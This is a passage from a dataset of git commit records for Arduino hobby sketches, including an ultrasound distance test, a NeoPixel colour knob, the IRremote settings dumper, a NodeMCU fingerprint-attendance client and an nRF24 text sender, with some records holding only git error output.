\"Imp: %d, \",\n chanImpulse);\n derivativelen = sprintf(derivativeBuffer, \"Change: %d, \",\n chanChangeCount);\n tailMeanlen = sprintf(extraBuffer, \"Is Active: %d, \",isSense_active[channel]);\n \/\/ chanImpulse > bigImpulseThreshold && chanChangeCount + 1 >= increaseThresholdWithImpulse);\n\n break;\n\n case 1:\n case 2:\n case 3:\n impulselen += sprintf(impulseBuffer + impulselen, \"%d, \",\n chanImpulse);\n derivativelen += sprintf(derivativeBuffer + derivativelen, \"%d, \",\n chanChangeCount);\n tailMeanlen += sprintf(extraBuffer + tailMeanlen, \"%d, \", isSense_active[channel]);\n \/\/ chanImpulse > bigImpulseThreshold && chanChangeCount + 1 >= increaseThresholdWithImpulse);\n\n break;\n\n default:\n break;\n }\n#endif\n \n }\n\n#ifdef ENABLE_LOGGING\n int signallen;\n for (int chan = 0; chan < channelCount; chan++) {\n switch (chan) {\n case 0:\n for (int l = 0; l < printLineSize; l++) {\n tempLogBuffer[l] = logBuffer[l];\n }\n signallen = sprintf(signalBuffer, \"Signal: %d, \", smoothedSenseHistory[chan][smoothedSenseIter]);\n break;\n\n case 1:\n case 2:\n case 3:\n signallen += sprintf(signalBuffer + signallen, \"%d, \", smoothedSenseHistory[chan][smoothedSenseIter]);\n break;\n\n default:\n Serial.print(\"blah \");\n break;\n }\n }\n\n snprintf(logBuffer, printLineSize, \"%20s %23s %20s %20s %s\",\n signalBuffer,\n impulseBuffer, \n derivativeBuffer,\n extraBuffer, \"\");\n\n Serial.println(logBuffer);\n#endif\n\n \n\n if (isTouched && switchedCount == 0) { \n isTouched = false;\n for (int chan = 0; chan < channelCount; chan++) {\n if (whereTouched[chan]) { \n#ifdef ENABLE_LOGGING\n Serial.println(\"SWITCHED CHANNEL!\");\n Serial.println(chan);\n#endif\n whereTouched[chan] = false;\n glow[chan] = !glow[chan];\n }\n }\n switchedCount = senseSize + smoothedSenseSize;\n }\n \n switchOutputs(glow);\n\n if (switchedCount > 0) {\n switchedCount--;\n }\n \n delayMicroseconds(glowTime_us);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'button_multichannel_rf6\/button_multichannel_rf6.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b5f2b57a49bb7767ea103555ffc31ab5c65ebc4a","subject":"added ultrasound code to test","message":"added ultrasound code to test\n","repos":"pyrito\/roommapping,pyrito\/roommapping,pyrito\/roommapping","old_file":"test\/Ultrasound_Sensor_Code.ino","new_file":"test\/Ultrasound_Sensor_Code.ino","new_contents":"\/\/ Pin number constants\nconst int triggerPin = 4;\nconst int echoPin = 3;\n\nvoid setup() {\n\/\/ initialize serial communication:\nSerial.begin(9600);\n}\n\nvoid loop()\n{\n\/\/ establish variables for duration of the ping,\n\/\/ and the distance result in inches and centimeters:\nlong duration, feet, inches, cm;\n\n\/\/ The PING))) is triggered by a HIGH pulse of 2 or more microseconds.\n\/\/ Give a short LOW pulse beforehand to ensure a clean HIGH pulse:\npinMode(triggerPin, OUTPUT);\ndigitalWrite(triggerPin, LOW);\ndelayMicroseconds(2);\ndigitalWrite(triggerPin, HIGH);\ndelayMicroseconds(5);\ndigitalWrite(triggerPin, LOW);\n\n\/\/ The echo pin is used to read the signal from the PING))): a HIGH\n\/\/ pulse whose duration is the time (in microseconds) from the sending\n\/\/ of the ping to the reception of its echo off of an object.\npinMode(echoPin, INPUT);\nduration = pulseIn(echoPin, HIGH);\n\n\/\/ convert the time into a distance\ninches = microsecondsToInches(duration);\ncm = microsecondsToCentimeters(duration);\nfeet = microsecondsToFeet(duration);\n\n\/\/Serial.print(feet);\n\/\/Serial.print(\"feet, \");\n\/\/Serial.print(inches);\n\/\/Serial.print(\"in, \");\nSerial.print(cm);\nSerial.print(\"cm\");\nSerial.println();\n\ndelay(500);\n}\n\nlong microsecondsToInches(long microseconds)\n{\n\/\/ According to Parallax's datasheet for the PING))), there are\n\/\/ 73.746 microseconds per inch (i.e. sound travels at 1130 feet per\n\/\/ second). This gives the distance travelled by the ping, outbound\n\/\/ and return, so we divide by 2 to get the distance of the obstacle.\n\/\/ See:[...]\nreturn microseconds \/ 74 \/ 2;\n}\n\nlong microsecondsToFeet(long microseconds)\n{\n\/\/ According to Parallax's datasheet for the PING))), there are\n\/\/ 73.746 microseconds per inch (i.e. sound travels at 1130 feet per\n\/\/ second). This gives the distance travelled by the ping, outbound\n\/\/ and return, so we multiply by 12 to convert to feet and then by 2 to get the distance of the obstacle.\n\/\/ See: [...]\nreturn microseconds \/ 74 \/ 2 \/ 12;\n}\n\nlong microsecondsToCentimeters(long microseconds)\n{\n\/\/ The speed of sound is 340 m\/s or 29 microseconds per centimeter.\n\/\/ The ping travels out and back, so to find the distance of the\n\/\/ object we take half of the distance travelled.\nreturn microseconds \/ 29 \/ 2;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test\/Ultrasound_Sensor_Code.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8c1b7fe88de6e5c300388a29c035501c8eab2fb4","subject":"Add program to adjust pixel color with three potentiometers.","message":"Add program to adjust pixel color with three potentiometers.\n","repos":"rlynch3456\/Arduino","old_file":"neopixel_rgb_knob\/neopixel_rgb_knob.ino","new_file":"neopixel_rgb_knob\/neopixel_rgb_knob.ino","new_contents":"\/*\n * neopixel_rgb_knob\n * \n * This is a test program to adjust the rgb of a strip of\n * neopixels useing three potentiometers.\n *\/\n\n#include <Adafruit_NeoPixel.h>\n#ifdef __AVR__\n #include <avr\/power.h> \/\/ Required for 16 MHz Adafruit Trinket\n#endif\n\n\/\/ Which pin on the Arduino is connected to the NeoPixels?\n\/\/ On a Trinket or Gemma we suggest changing this to 1:\n#define LED_PIN 6\n\n\/\/ How many NeoPixels are attached to the Arduino?\n#define LED_COUNT 8\n\n\/\/ Declare our NeoPixel strip object:\nAdafruit_NeoPixel strip(LED_COUNT, LED_PIN, NEO_GRB + NEO_KHZ800);\n\n\/* Set up three potentiometers to adjust the rgb colors *\/\n#define knob_r 0\n#define knob_g 1\n#define knob_b 2\n\n\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n \/\/ These lines are specifically to support the Adafruit Trinket 5V 16 MHz.\n \/\/ Any other board, you can remove this part (but no harm leaving it):\n#if defined(__AVR_ATtiny85__) && (F_CPU == 16000000)\n clock_prescale_set(clock_div_1);\n#endif\n \/\/ END of Trinket-specific code.\n \n strip.begin(); \/\/ INITIALIZE NeoPixel strip object (REQUIRED)\n strip.show(); \/\/ Turn OFF all pixels ASAP\n strip.setBrightness(50); \/\/ Set BRIGHTNESS to about 1\/5 (max = 255)\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n int r, g, b;\n\n \/* Get each of the rgb values and then map from 0-1023 to 0-255. *\/\n\n r = analogRead(knob_r);\n r = map(r, 0, 1023, 0, 255);\n\n g = analogRead(knob_g);\n g = map(g, 0, 1023, 0, 255);\n\n b = analogRead(knob_b);\n b = map(b, 0, 1023, 0, 255);\n\n \/* set all of the pixels to the same color *\/\n setAll(r, g, b);\n \n}\n\n\/* Simple function to set all of the neopixels to the same color *\/\nvoid setAll(byte red, byte green, byte blue) {\n for(int i = 0; i < LED_COUNT; i++ ) {\n strip.setPixelColor(i, red, green, blue);\n }\n strip.show();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'neopixel_rgb_knob\/neopixel_rgb_knob.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"711ebd7d92a3e8b20bd53099add45b9d69cfc3b3","subject":"Create IRremoteInfo.ino","message":"Create IRremoteInfo.ino\n\nA helper tool to assist in supporting troubleshooting with IRremote.\r\nPrints all of the current settings applied within the users IRremote set-up.\r\nA description og the utility is available here: http:\/\/www.analysir.com\/blog\/2015\/11\/28\/helper-utility-for-troubleshooting-irremote\/","repos":"YodaR10\/Arduino-IRremote,Seeed-Studio\/IRSendRev,YodaR10\/Arduino-IRremote,shirriff\/Arduino-IRremote,Informatic\/Arduino-IRremote,z3t0\/Arduino-IRremote,MadGarra\/Arduino-IRremote,Informatic\/Arduino-IRremote,ivankravets\/Arduino-IRremote,z3t0\/Arduino-IRremote,MadGarra\/Arduino-IRremote,Seeed-Studio\/IRSendRev,AnalysIR\/Arduino-IRremote,shirriff\/Arduino-IRremote,ivankravets\/Arduino-IRremote,AnalysIR\/Arduino-IRremote","old_file":"examples\/IRremoteInfo\/IRremoteInfo.ino","new_file":"examples\/IRremoteInfo\/IRremoteInfo.ino","new_contents":"\/*\n * IRremote: IRremoteInfo - prints relevant config info & settings for IRremote over serial\n * Intended to help identify & troubleshoot the various settings of IRremote\n * For example, sometimes users are unsure of which pin is used for Tx or the RAWBUF values\n * This example can be used to assist the user directly or with support.\n * Intended to help identify & troubleshoot the various settings of IRremote\n * Hopefully this utility will be a useful tool for support & troubleshooting for IRremote\n * Check out the blog post describing the sketch via http:\/\/www.analysir.com\/blog\/2015\/11\/28\/helper-utility-for-troubleshooting-irremote\/\n * Version 1.0 November 2015\n * Original Author: AnalysIR - IR software & modules for Makers & Pros, visit http:\/\/www.AnalysIR.com\n *\/\n\n\n#include <IRremote.h>\n\nvoid setup()\n{\n Serial.begin(115200); \/\/You may alter the BAUD rate here as needed\n while (!Serial); \/\/wait until Serial is established - required on some Platforms\n\n \/\/Runs only once per restart of the Arduino.\n dumpHeader();\n dumpRAWBUF();\n dumpTIMER();\n dumpTimerPin();\n dumpClock();\n dumpPlatform();\n dumpPulseParams();\n dumpSignalParams();\n dumpArduinoIDE();\n dumpDebugMode();\n dumpProtocols();\n dumpFooter();\n}\n\nvoid loop() {\n \/\/nothing to do!\n}\n\nvoid dumpRAWBUF() {\n Serial.print(F(\"RAWBUF: \"));\n Serial.println(RAWBUF);\n}\n\nvoid dumpTIMER() {\n boolean flag = false;\n#ifdef IR_USE_TIMER1\n Serial.print(F(\"Timer defined for use: \")); Serial.println(F(\"Timer1\")); flag = true;\n#endif\n#ifdef IR_USE_TIMER2\n Serial.print(F(\"Timer defined for use: \")); Serial.println(F(\"Timer2\")); flag = true;\n#endif\n#ifdef IR_USE_TIMER3\n Serial.print(F(\"Timer defined for use: \")); Serial.println(F(\"Timer3\")); flag = true;\n#endif\n#ifdef IR_USE_TIMER4\n Serial.print(F(\"Timer defined for use: \")); Serial.println(F(\"Timer4\")); flag = true;\n#endif\n#ifdef IR_USE_TIMER5\n Serial.print(F(\"Timer defined for use: \")); Serial.println(F(\"Timer5\")); flag = true;\n#endif\n#ifdef IR_USE_TIMER4_HS\n Serial.print(F(\"Timer defined for use: \")); Serial.println(F(\"Timer4_HS\")); flag = true;\n#endif\n#ifdef IR_USE_TIMER_CMT\n Serial.print(F(\"Timer defined for use: \")); Serial.println(F(\"Timer_CMT\")); flag = true;\n#endif\n#ifdef IR_USE_TIMER_TPM1\n Serial.print(F(\"Timer defined for use: \")); Serial.println(F(\"Timer_TPM1\")); flag = true;\n#endif\n#ifdef IR_USE_TIMER_TINY0\n Serial.print(F(\"Timer defined for use: \")); Serial.println(F(\"Timer_TINY0\")); flag = true;\n#endif\n\n if (!flag) {\n Serial.print(F(\"Timer Error: \")); Serial.println(F(\"not defined\"));\n }\n}\n\nvoid dumpTimerPin() {\n Serial.print(F(\"IR Tx Pin: \"));\n Serial.println(TIMER_PWM_PIN);\n}\n\nvoid dumpClock() {\n Serial.print(F(\"MCU Clock: \"));\n Serial.println(F_CPU);\n}\n\nvoid dumpPlatform() {\n Serial.print(F(\"MCU Platform: \"));\n\n#if defined(__AVR_ATmega1280__)\n Serial.println(F(\"Arduino Mega1280\"));\n#elif defined(__AVR_ATmega2560__)\n Serial.println(F(\"Arduino Mega2560\"));\n#elif defined(__AVR_AT90USB162__)\n Serial.println(F(\"Teensy 1.0 \/ AT90USB162\"));\n \/\/ Teensy 2.0\n#elif defined(__AVR_ATmega32U4__)\n Serial.println(F(\"Arduino Leonardo \/ Yun \/ Teensy 1.0 \/ ATmega32U4\"));\n#elif defined(__MK20DX128__) || defined(__MK20DX256__)\n Serial.println(F(\"Teensy 3.0 \/ Teensy 3.1 \/ MK20DX128 \/ MK20DX256\"));\n#elif defined(__MKL26Z64__)\n Serial.println(F(\"Teensy-LC \/ MKL26Z64\"));\n#elif defined(__AVR_AT90USB646__)\n Serial.println(F(\"Teensy++ 1.0 \/ AT90USB646\"));\n#elif defined(__AVR_AT90USB1286__)\n Serial.println(F(\"Teensy++ 2.0 \/ AT90USB1286\"));\n#elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega644__)\n Serial.println(F(\"Sanguino \/ ATmega644(P)\"));\n#elif defined(__AVR_ATmega8P__) || defined(__AVR_ATmega8__)\n Serial.println(F(\"Atmega8 \/ ATmega8(P)\"));\n#elif defined(__AVR_ATtiny84__)\n Serial.println(F(\"ATtiny84\"));\n#elif defined(__AVR_ATtiny85__)\n Serial.println(F(\"ATtiny85\"));\n#else\n Serial.println(F(\"ATmega328(P) \/ (Duemilanove, Diecimila, LilyPad, Mini, Micro, Fio, Nano, etc)\"));\n#endif\n}\n\nvoid dumpPulseParams() {\n Serial.print(F(\"Mark Excess: \")); Serial.print(MARK_EXCESS);; Serial.println(F(\" uSecs\"));\n Serial.print(F(\"Microseconds per tick: \")); Serial.print(USECPERTICK);; Serial.println(F(\" uSecs\"));\n Serial.print(F(\"Measurement tolerance: \")); Serial.print(TOLERANCE); Serial.println(F(\"%\"));\n}\n\nvoid dumpSignalParams() {\n Serial.print(F(\"Minimum Gap between IR Signals: \")); Serial.print(_GAP); Serial.println(F(\" uSecs\"));\n}\n\nvoid dumpDebugMode() {\n Serial.print(F(\"Debug Mode: \"));\n#if DEBUG\n Serial.println(F(\"ON\"));\n#else\n Serial.println(F(\"OFF (Normal)\"));\n#endif\n\n}\n\nvoid dumpArduinoIDE() {\n Serial.print(F(\"Arduino IDE version: \"));\n Serial.print(ARDUINO \/ 10000);\n Serial.write('.');\n Serial.print((ARDUINO % 10000) \/ 100);\n Serial.write('.');\n Serial.println(ARDUINO % 100);\n}\n\nvoid dumpProtocols() {\n\n Serial.println(); Serial.print(F(\"IR PROTOCOLS \")); Serial.print(F(\"SEND \")); Serial.println(F(\"DECODE\"));\n Serial.print(F(\"============= \")); Serial.print(F(\"======== \")); Serial.println(F(\"========\"));\n Serial.print(F(\"RC5: \")); printSendEnabled(SEND_RC5); printDecodeEnabled(DECODE_RC6);\n Serial.print(F(\"RC6: \")); printSendEnabled(SEND_RC6); printDecodeEnabled(DECODE_RC5);\n Serial.print(F(\"NEC: \")); printSendEnabled(SEND_NEC); printDecodeEnabled(DECODE_NEC);\n Serial.print(F(\"SONY: \")); printSendEnabled(SEND_SONY); printDecodeEnabled(DECODE_SONY);\n Serial.print(F(\"PANASONIC: \")); printSendEnabled(SEND_PANASONIC); printDecodeEnabled(DECODE_PANASONIC);\n Serial.print(F(\"JVC: \")); printSendEnabled(SEND_JVC); printDecodeEnabled(DECODE_JVC);\n Serial.print(F(\"SAMSUNG: \")); printSendEnabled(SEND_SAMSUNG); printDecodeEnabled(DECODE_SAMSUNG);\n Serial.print(F(\"WHYNTER: \")); printSendEnabled(SEND_WHYNTER); printDecodeEnabled(DECODE_WHYNTER);\n Serial.print(F(\"AIWA_RC_T501: \")); printSendEnabled(SEND_AIWA_RC_T501); printDecodeEnabled(DECODE_AIWA_RC_T501);\n Serial.print(F(\"LG: \")); printSendEnabled(SEND_LG); printDecodeEnabled(DECODE_LG);\n Serial.print(F(\"SANYO: \")); printSendEnabled(SEND_SANYO); printDecodeEnabled(DECODE_SANYO);\n Serial.print(F(\"MITSUBISHI: \")); printSendEnabled(SEND_MITSUBISHI); printDecodeEnabled(DECODE_MITSUBISHI);\n Serial.print(F(\"DISH: \")); printSendEnabled(SEND_DISH); printDecodeEnabled(DECODE_DISH);\n Serial.print(F(\"SHARP: \")); printSendEnabled(SEND_SHARP); printDecodeEnabled(DECODE_SHARP);\n Serial.print(F(\"DENON: \")); printSendEnabled(SEND_DENON); printDecodeEnabled(DECODE_DENON);\n Serial.print(F(\"PRONTO: \")); printSendEnabled(SEND_PRONTO); Serial.println(F(\"(Not Applicable)\"));\n}\n\nvoid printSendEnabled(int flag) {\n if (flag) {\n Serial.print(F(\"Enabled \"));\n }\n else {\n Serial.print(F(\"Disabled \"));\n }\n}\n\nvoid printDecodeEnabled(int flag) {\n if (flag) {\n Serial.println(F(\"Enabled\"));\n }\n else {\n Serial.println(F(\"Disabled\"));\n }\n}\n\nvoid dumpHeader() {\n Serial.println(F(\"IRremoteInfo - by AnalysIR (http:\/\/www.AnalysIR.com\/)\"));\n Serial.println(F(\" - A helper sketch to assist in troubleshooting issues with the library by reviewing the settings within the IRremote library\"));\n Serial.println(F(\" - Prints out the important settings within the library, which can be configured to suit the many supported platforms\"));\n Serial.println(F(\" - When seeking on-line support, please post or upload the output of this sketch, where appropriate\"));\n Serial.println();\n Serial.println(F(\"IRremote Library Settings\"));\n Serial.println(F(\"=========================\"));\n}\n\nvoid dumpFooter() {\n Serial.println();\n Serial.println(F(\"Notes: \"));\n Serial.println(F(\" - Most of the seetings above can be configured in the following files included as part of the library\"));\n Serial.println(F(\" - IRremteInt.h\"));\n Serial.println(F(\" - IRremote.h\"));\n Serial.println(F(\" - You can save SRAM by disabling the Decode or Send features for any protocol (Near the top of IRremoteInt.h)\"));\n Serial.println(F(\" - Some Timer conflicts, with other libraries, can be easily resolved by configuring a differnt Timer for your platform\"));\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/IRremoteInfo\/IRremoteInfo.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"c9d73206c010ed780c63dd6e723d4dca5c36ccc2","subject":"Adiciona codigo fonte com tema do Super Mario","message":"Adiciona codigo fonte com tema do Super Mario\n","repos":"ButecoOpenSource\/exemplos,ButecoOpenSource\/exemplos,ButecoOpenSource\/exemplos","old_file":"exemplos_arduino\/SUPER_MARIO_THEME.ino","new_file":"exemplos_arduino\/SUPER_MARIO_THEME.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ButecoOpenSource\/exemplos.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"748ed5ff4905c01bfacf71078c58b09ed44a369f","subject":"Stopped the crazy colour changing in the Juggle pattern example","message":"Stopped the crazy colour changing in the Juggle pattern example\n","repos":"elliottkember\/sworduino,elliottkember\/sworduino,elliottkember\/sworduino,elliottkember\/sworduino","old_file":"Other patterns\/juggle\/juggle.ino","new_file":"Other patterns\/juggle\/juggle.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Other' did not match any file(s) known to git\nerror: pathspec 'patterns\/juggle\/juggle.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8aea4e5303a2458b398b854309b081bc7b564aab","subject":"nodemcu","message":"nodemcu\n","repos":"cmuhirwa\/uplus,cmuhirwa\/uplus,cmuhirwa\/uplus","old_file":"casual\/nodeMcu\/nodeTestA.ino","new_file":"casual\/nodeMcu\/nodeTestA.ino","new_contents":"#include <SoftwareSerial.h>\n#include <Adafruit_Fingerprint.h>\n#include <ESP8266WiFi.h>\n#include <ESP8266HTTPClient.h>\n#include <ArduinoJson.h>\n\nconst char* ssid = \"FABLAB_2.4G\";\nconst char* password = \"innovate\";\nSoftwareSerial mySerial(4, 5);\nAdafruit_Fingerprint finger = Adafruit_Fingerprint(&mySerial);\n\nuint8_t id;\n\nvoid setup () {\n\n \n Serial.begin(115200);\n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n \n delay(100);\n Serial.print(\"Connecting..\");\n \n }\n \n finger.begin(57600);\n \n if (finger.verifyPassword()) {\n Serial.println(\"Found fingerprint sensor!\");\n } else {\n Serial.println(\"Did not find fingerprint sensor :(\");\n while (1) { delay(1); }\n }\n\n}\n\n\nuint8_t readnumber(void) {\n uint8_t num = 0;\n \n while (num == 0) {\n while (! Serial.available());\n num = Serial.parseInt();\n }\n return num;\n}\n \nvoid loop() {\n \n if (WiFi.status() == WL_CONNECTED) { \/\/Check WiFi connection status\n \/\/Serial.print(\"Connected\");\n\n HTTPClient http; \/\/Declare an object of class HTTPClient\n\n http.begin(\"http:\/\/192.168.11.204\/uplus\/casual\/public\/api.php?action=zamuiot&&zamuId=1\"); \/\/Specify request destination\n int httpCode = http.GET(); \/\/Send the request\n\n if (httpCode > 0) { \/\/Check the returning code\n\n String data = http.getString(); \/\/Get the request response payload\n \n\n StaticJsonBuffer<200> jsonBuffer;\n jsonBuffer.parseObject(data);\n JsonObject& jObject = jsonBuffer.parseObject(data);\n String action = jObject[\"action\"];\n String message = jObject[\"message\"];\n\n if(action == \"ATTEND\"){\n \/\/ HERE YOU ARE BUILDING THE FUNCTIONS WHICH VERIFYS AN ID FROM THE FINGERPRING\n \/\/ THE message WILL BE THE id OF A FINGER\n Serial.println(\"Calle the function of attendance\"); \n }\n else if(action == \"RECORD\"){\n String message = jObject[\"casualId\"];\n \n \/\/ HERE YOU ARE BUILDING THE FUNCTIONS WHICH REQUEST THE SERVER TO GIVE IT AN ID TO ATTACH TO THE FINGER\n \/\/ THE message WILL BE THE id TO ATTACH ON A FINGER\n Serial.println(\"Calle the function of enroll with ID:\"+message); \n \n \/\/record();\n\n }else {Serial.println(action);} \n\n } else Serial.println(\"no response !!!\"); \n\n http.end(); \/\/Close connection\n\n } else Serial.println(\"not connected !!!\"); \n\n delay(3000); \/\/Send a request every 30 seconds\n\n}\n\n\n\n\/*\n\nvoid record() \/\/ run over and over again\n{\n Serial.println(\"Ready to enroll a fingerprint!\");\n Serial.println(\"Please type in the ID # (from 1 to 127) you want to save this finger as...\");\n id = readnumber();\n if (id == 0) {\/\/ ID #0 not allowed, try again!\n return;\n }\n Serial.print(\"Enrolling ID #\");\n Serial.println(id);\n \n while (! getFingerprintEnroll() );\n}\n\nuint8_t getFingerprintEnroll() {\n\n int p = -1;\n Serial.print(\"Waiting for valid finger to enroll as #\"); Serial.println(id);\n while (p != FINGERPRINT_OK) {\n p = finger.getImage();\n switch (p) {\n case FINGERPRINT_OK:\n Serial.println(\"Image taken\");\n break;\n case FINGERPRINT_NOFINGER:\n Serial.println(\".\");\n break;\n case FINGERPRINT_PACKETRECIEVEERR:\n Serial.println(\"Communication error\");\n break;\n case FINGERPRINT_IMAGEFAIL:\n Serial.println(\"Imaging error\");\n break;\n default:\n Serial.println(\"Unknown error\");\n break;\n }\n }\n\n \/\/ OK success!\n\n p = finger.image2Tz(1);\n switch (p) {\n case FINGERPRINT_OK:\n Serial.println(\"Image converted\");\n break;\n case FINGERPRINT_IMAGEMESS:\n Serial.println(\"Image too messy\");\n return p;\n case FINGERPRINT_PACKETRECIEVEERR:\n Serial.println(\"Communication error\");\n return p;\n case FINGERPRINT_FEATUREFAIL:\n Serial.println(\"Could not find fingerprint features\");\n return p;\n case FINGERPRINT_INVALIDIMAGE:\n Serial.println(\"Could not find fingerprint features\");\n return p;\n default:\n Serial.println(\"Unknown error\");\n return p;\n }\n \n Serial.println(\"Remove finger\");\n delay(2000);\n p = 0;\n while (p != FINGERPRINT_NOFINGER) {\n p = finger.getImage();\n }\n Serial.print(\"ID \"); Serial.println(id);\n p = -1;\n Serial.println(\"Place same finger again\");\n while (p != FINGERPRINT_OK) {\n p = finger.getImage();\n switch (p) {\n case FINGERPRINT_OK:\n Serial.println(\"Image taken\");\n break;\n case FINGERPRINT_NOFINGER:\n Serial.print(\".\");\n break;\n case FINGERPRINT_PACKETRECIEVEERR:\n Serial.println(\"Communication error\");\n break;\n case FINGERPRINT_IMAGEFAIL:\n Serial.println(\"Imaging error\");\n break;\n default:\n Serial.println(\"Unknown error\");\n break;\n }\n }\n\n \/\/ OK success!\n\n p = finger.image2Tz(2);\n switch (p) {\n case FINGERPRINT_OK:\n Serial.println(\"Image converted\");\n break;\n case FINGERPRINT_IMAGEMESS:\n Serial.println(\"Image too messy\");\n return p;\n case FINGERPRINT_PACKETRECIEVEERR:\n Serial.println(\"Communication error\");\n return p;\n case FINGERPRINT_FEATUREFAIL:\n Serial.println(\"Could not find fingerprint features\");\n return p;\n case FINGERPRINT_INVALIDIMAGE:\n Serial.println(\"Could not find fingerprint features\");\n return p;\n default:\n Serial.println(\"Unknown error\");\n return p;\n }\n \n \/\/ OK converted!\n Serial.print(\"Creating model for #\"); Serial.println(id);\n \n p = finger.createModel();\n if (p == FINGERPRINT_OK) {\n Serial.println(\"Prints matched!\");\n } else if (p == FINGERPRINT_PACKETRECIEVEERR) {\n Serial.println(\"Communication error\");\n return p;\n } else if (p == FINGERPRINT_ENROLLMISMATCH) {\n Serial.println(\"Fingerprints did not match\");\n return p;\n } else {\n Serial.println(\"Unknown error\");\n return p;\n } \n \n Serial.print(\"ID \"); Serial.println(id);\n p = finger.storeModel(id);\n if (p == FINGERPRINT_OK) {\n Serial.println(\"Stored!\");\n } else if (p == FINGERPRINT_PACKETRECIEVEERR) {\n Serial.println(\"Communication error\");\n return p;\n } else if (p == FINGERPRINT_BADLOCATION) {\n Serial.println(\"Could not store in that location\");\n return p;\n } else if (p == FINGERPRINT_FLASHERR) {\n Serial.println(\"Error writing to flash\");\n return p;\n } else {\n Serial.println(\"Unknown error\");\n return p;\n }\n \n}\n*\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'casual\/nodeMcu\/nodeTestA.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"3ac4eb33c5cd5a27752a69bb5e530048e1a22168","subject":"mor documentation","message":"mor documentation\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"TMC3D\/TMC3D.ino","new_file":"TMC3D\/TMC3D.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"d7d25f8ad8f1af36fae2b3395508452e6da97a02","subject":"Delete tracker.ino","message":"Delete tracker.ino","repos":"JDat\/RocketGPStracker,JDat\/RocketGPStracker","old_file":"tracker\/tracker.ino","new_file":"tracker\/tracker.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JDat\/RocketGPStracker.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"cda26e3182d1df26c8c0287f097cd3fa6f17ba7b","subject":"Initial implementation of program to send a text to the front door (untested)","message":"Initial implementation of program to send a text to the front door (untested)\n","repos":"bertrik\/matrixscroller,bertrik\/matrixscroller","old_file":"remotecontrol\/remotecontrol.ino","new_file":"remotecontrol\/remotecontrol.ino","new_contents":"#include <RF24.h>\n#include <nRF24L01.h>\n#include <RF24_config.h>\n\n#include <SPI.h>\n\n#include <stdint.h>\n#include <stdbool.h>\n\n#define MAX_TEXTSIZE 27\n\n#define BELL 0x07\n#define BS 0x08\n#define LF 0x0A\n#define CR 0x0D\n\nstatic long int address = 0x66996699L; \/\/ So that's 0x0066996699\n\nstatic uint8_t buffer[5];\nstatic RF24 rf(\/*ce*\/ 9, \/*cs*\/ 10);\n\nvoid setup(void)\n{\n \/\/ initialize serial port\n Serial.begin(115200);\n Serial.println(\"Hello world!\\n\");\n \n \/\/ init RF24\n rf.begin();\n rf.setRetries(15, 15);\n rf.enableDynamicPayloads();\n rf.openWritingPipe(address);\n}\n\n\/* Processes a character into an edit buffer, returns true \n * @param c the character to process\n * @param buf the edit buffer\n * @param size the size of the buffer\n * @return true if a full line was entered, false otherwise\n *\/\nstatic bool process_char(char c, char *buf, int size)\n{\n static int index = 0;\n switch (c) {\n case CR:\n \/\/ ignore\n break;\n case LF:\n \/\/ finish\n buf[index] = 0;\n Serial.print(c);\n index = 0;\n return true;\n case BS:\n \/\/ backspace\n if (index > 0) {\n Serial.print(BS);\n Serial.print(' ');\n Serial.print(BS);\n index--;\n } else {\n Serial.print(BELL);\n }\n break;\n default:\n \/\/ try to add character to buffer\n if (index < (size - 1)) {\n buf[index++] = c;\n Serial.print(c);\n } else {\n Serial.print(BELL);\n }\n break;\n }\n return false;\n}\n\n\nstatic void send_text(char *text)\n{\n char buffer[32];\n \n \/\/ construct buffer\n int length = strlen(text);\n int idx = 0;\n buffer[idx++] = 4 + length;\n buffer[idx++] = 'D';\n buffer[idx++] = 'O';\n buffer[idx++] = 'O';\n buffer[idx++] = 'R';\n memcpy(buffer + idx, text, length);\n \n \/\/ send it\n rf.write(buffer, idx + length);\n}\n\nvoid loop(void)\n{\n static char textbuffer[MAX_TEXTSIZE+1];\n\n if (Serial.available() > 0) {\n char c = Serial.read();\n if (process_char(c, textbuffer, MAX_TEXTSIZE)) {\n send_text(textbuffer);\n }\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'remotecontrol\/remotecontrol.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"6352a3e18440d9b645d2975edf21d16b7b533470","subject":"Modifying initialization","message":"Modifying 